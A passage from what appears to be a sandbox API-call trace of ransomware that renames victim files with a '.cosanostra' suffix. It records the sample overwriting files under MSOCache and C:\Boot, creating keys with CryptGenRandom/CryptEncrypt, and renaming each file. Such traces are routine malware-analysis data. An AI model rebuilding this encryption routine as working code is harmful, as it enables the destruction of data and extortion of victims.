Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0111.026] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 84 [0111.026] StrStrW (lpFirst="PowerPointMUI.xml", lpSrch=".txt") returned 0x0 [0111.046] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.046] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x2abebec, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abebec*=0x5aa, lpOverlapped=0x0) returned 1 [0111.047] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.047] WriteFile (in: hFile=0x138, lpBuffer=0x2abec2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abebec, lpOverlapped=0x0 | out: lpBuffer=0x2abec2c*, lpNumberOfBytesWritten=0x2abebec*=0x4, lpOverlapped=0x0) returned 1 [0111.047] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abebec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abebec*=0x30, lpOverlapped=0x0) returned 1 [0111.047] CloseHandle (hObject=0x138) returned 1 [0111.047] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.cosanostra") returned 95 [0111.047] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.cosanostra")) returned 1 [0111.048] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec28 | out: pbBuffer=0x2abec28) returned 1 [0111.048] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec20*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec20*=0x30) returned 1 [0111.048] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0111.078] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0111.078] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0111.190] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffff708, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.190] WriteFile (in: hFile=0x110, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x2abebe4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abebe4*=0x8f8, lpOverlapped=0x0) returned 1 [0111.269] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.269] WriteFile (in: hFile=0x110, lpBuffer=0x2abec24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abebe4, lpOverlapped=0x0 | out: lpBuffer=0x2abec24*, lpNumberOfBytesWritten=0x2abebe4*=0x4, lpOverlapped=0x0) returned 1 [0111.269] WriteFile (in: hFile=0x110, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abebe4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abebe4*=0x30, lpOverlapped=0x0) returned 1 [0111.269] CloseHandle (hObject=0x110) returned 1 [0111.270] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0111.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0111.270] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec28 | out: pbBuffer=0x2abec28) returned 1 [0111.270] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec20*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec20*=0x30) returned 1 [0111.270] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.295] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec20 | out: pbBuffer=0x2abec20) returned 1 [0111.296] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abec18*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abec18*=0x30) returned 1 [0111.296] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.297] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec18 | out: pbBuffer=0x2abec18) returned 1 [0111.298] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abec10*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abec10*=0x30) returned 1 [0111.298] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.299] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec10 | out: pbBuffer=0x2abec10) returned 1 [0111.299] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abec08*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abec08*=0x30) returned 1 [0111.299] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.301] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec08 | out: pbBuffer=0x2abec08) returned 1 [0111.301] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abec00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abec00*=0x30) returned 1 [0111.301] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.302] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec00 | out: pbBuffer=0x2abec00) returned 1 [0111.302] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebf8*=0x30) returned 1 [0111.302] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.303] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebf8 | out: pbBuffer=0x2abebf8) returned 1 [0111.303] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebf0*=0x30) returned 1 [0111.303] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.304] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebf0 | out: pbBuffer=0x2abebf0) returned 1 [0111.304] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebe8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebe8*=0x30) returned 1 [0111.305] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.306] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebe8 | out: pbBuffer=0x2abebe8) returned 1 [0111.306] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebe0*=0x30) returned 1 [0111.306] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.307] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebe0 | out: pbBuffer=0x2abebe0) returned 1 [0111.307] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebd8*=0x30) returned 1 [0111.307] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.310] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebd8 | out: pbBuffer=0x2abebd8) returned 1 [0111.310] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebd0*=0x30) returned 1 [0111.310] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.310] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebd0 | out: pbBuffer=0x2abebd0) returned 1 [0111.310] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebc8*=0x30) returned 1 [0111.310] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.312] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebc8 | out: pbBuffer=0x2abebc8) returned 1 [0111.312] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebc0*=0x30) returned 1 [0111.312] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.313] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebc0 | out: pbBuffer=0x2abebc0) returned 1 [0111.313] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebb8*=0x30) returned 1 [0111.313] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.314] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebb8 | out: pbBuffer=0x2abebb8) returned 1 [0111.314] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abebb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abebb0*=0x30) returned 1 [0111.314] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.316] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abebb0 | out: pbBuffer=0x2abebb0) returned 1 [0111.316] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeba8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeba8*=0x30) returned 1 [0111.316] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.317] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeba8 | out: pbBuffer=0x2abeba8) returned 1 [0111.317] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeba0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeba0*=0x30) returned 1 [0111.317] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.865] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeba0 | out: pbBuffer=0x2abeba0) returned 1 [0111.865] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb98*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb98*=0x30) returned 1 [0111.865] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.867] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb98 | out: pbBuffer=0x2abeb98) returned 1 [0111.867] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb90*=0x30) returned 1 [0111.867] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.869] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb90 | out: pbBuffer=0x2abeb90) returned 1 [0111.869] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb88*=0x30) returned 1 [0111.869] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.875] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb88 | out: pbBuffer=0x2abeb88) returned 1 [0111.875] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb80*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb80*=0x30) returned 1 [0111.875] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.875] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb80 | out: pbBuffer=0x2abeb80) returned 1 [0111.875] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb78*=0x30) returned 1 [0111.875] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0111.876] lstrlenW (lpString="\\\\?\\C:\\Boot\\BOOTSTAT.DAT") returned 24 [0111.876] StrStrW (lpFirst="BOOTSTAT.DAT", lpSrch=".txt") returned 0x0 [0111.877] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.877] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abeb3c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abeb3c*=0x2800, lpOverlapped=0x0) returned 1 [0111.877] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.877] WriteFile (in: hFile=0x138, lpBuffer=0x2abeb7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeb3c, lpOverlapped=0x0 | out: lpBuffer=0x2abeb7c*, lpNumberOfBytesWritten=0x2abeb3c*=0x4, lpOverlapped=0x0) returned 1 [0111.878] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeb3c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abeb3c*=0x30, lpOverlapped=0x0) returned 1 [0111.878] CloseHandle (hObject=0x138) returned 1 [0111.878] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.cosanostra") returned 35 [0111.878] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.cosanostra" (normalized: "c:\\boot\\bootstat.dat.cosanostra")) returned 1 [0111.879] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb80 | out: pbBuffer=0x2abeb80) returned 1 [0111.879] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb78*=0x30) returned 1 [0111.879] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0111.879] lstrlenW (lpString="\\\\?\\C:\\Boot\\BCD.LOG2") returned 20 [0111.879] StrStrW (lpFirst="BCD.LOG2", lpSrch=".txt") returned 0x0 [0111.880] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.880] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abeb3c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abeb3c*=0x0, lpOverlapped=0x0) returned 1 [0111.880] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.880] WriteFile (in: hFile=0x138, lpBuffer=0x2abeb7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeb3c, lpOverlapped=0x0 | out: lpBuffer=0x2abeb7c*, lpNumberOfBytesWritten=0x2abeb3c*=0x4, lpOverlapped=0x0) returned 1 [0111.881] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeb3c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abeb3c*=0x30, lpOverlapped=0x0) returned 1 [0111.881] CloseHandle (hObject=0x138) returned 1 [0111.881] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG2.cosanostra") returned 31 [0111.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="\\\\?\\C:\\Boot\\BCD.LOG2.cosanostra" (normalized: "c:\\boot\\bcd.log2.cosanostra")) returned 1 [0111.882] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb78 | out: pbBuffer=0x2abeb78) returned 1 [0111.882] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb70*=0x30) returned 1 [0111.882] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0111.885] lstrlenW (lpString="\\\\?\\C:\\Boot\\BCD.LOG1") returned 20 [0111.885] StrStrW (lpFirst="BCD.LOG1", lpSrch=".txt") returned 0x0 [0111.885] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.886] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abeb34, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abeb34*=0x0, lpOverlapped=0x0) returned 1 [0111.886] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.886] WriteFile (in: hFile=0x138, lpBuffer=0x2abeb74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeb34, lpOverlapped=0x0 | out: lpBuffer=0x2abeb74*, lpNumberOfBytesWritten=0x2abeb34*=0x4, lpOverlapped=0x0) returned 1 [0111.887] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeb34, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, 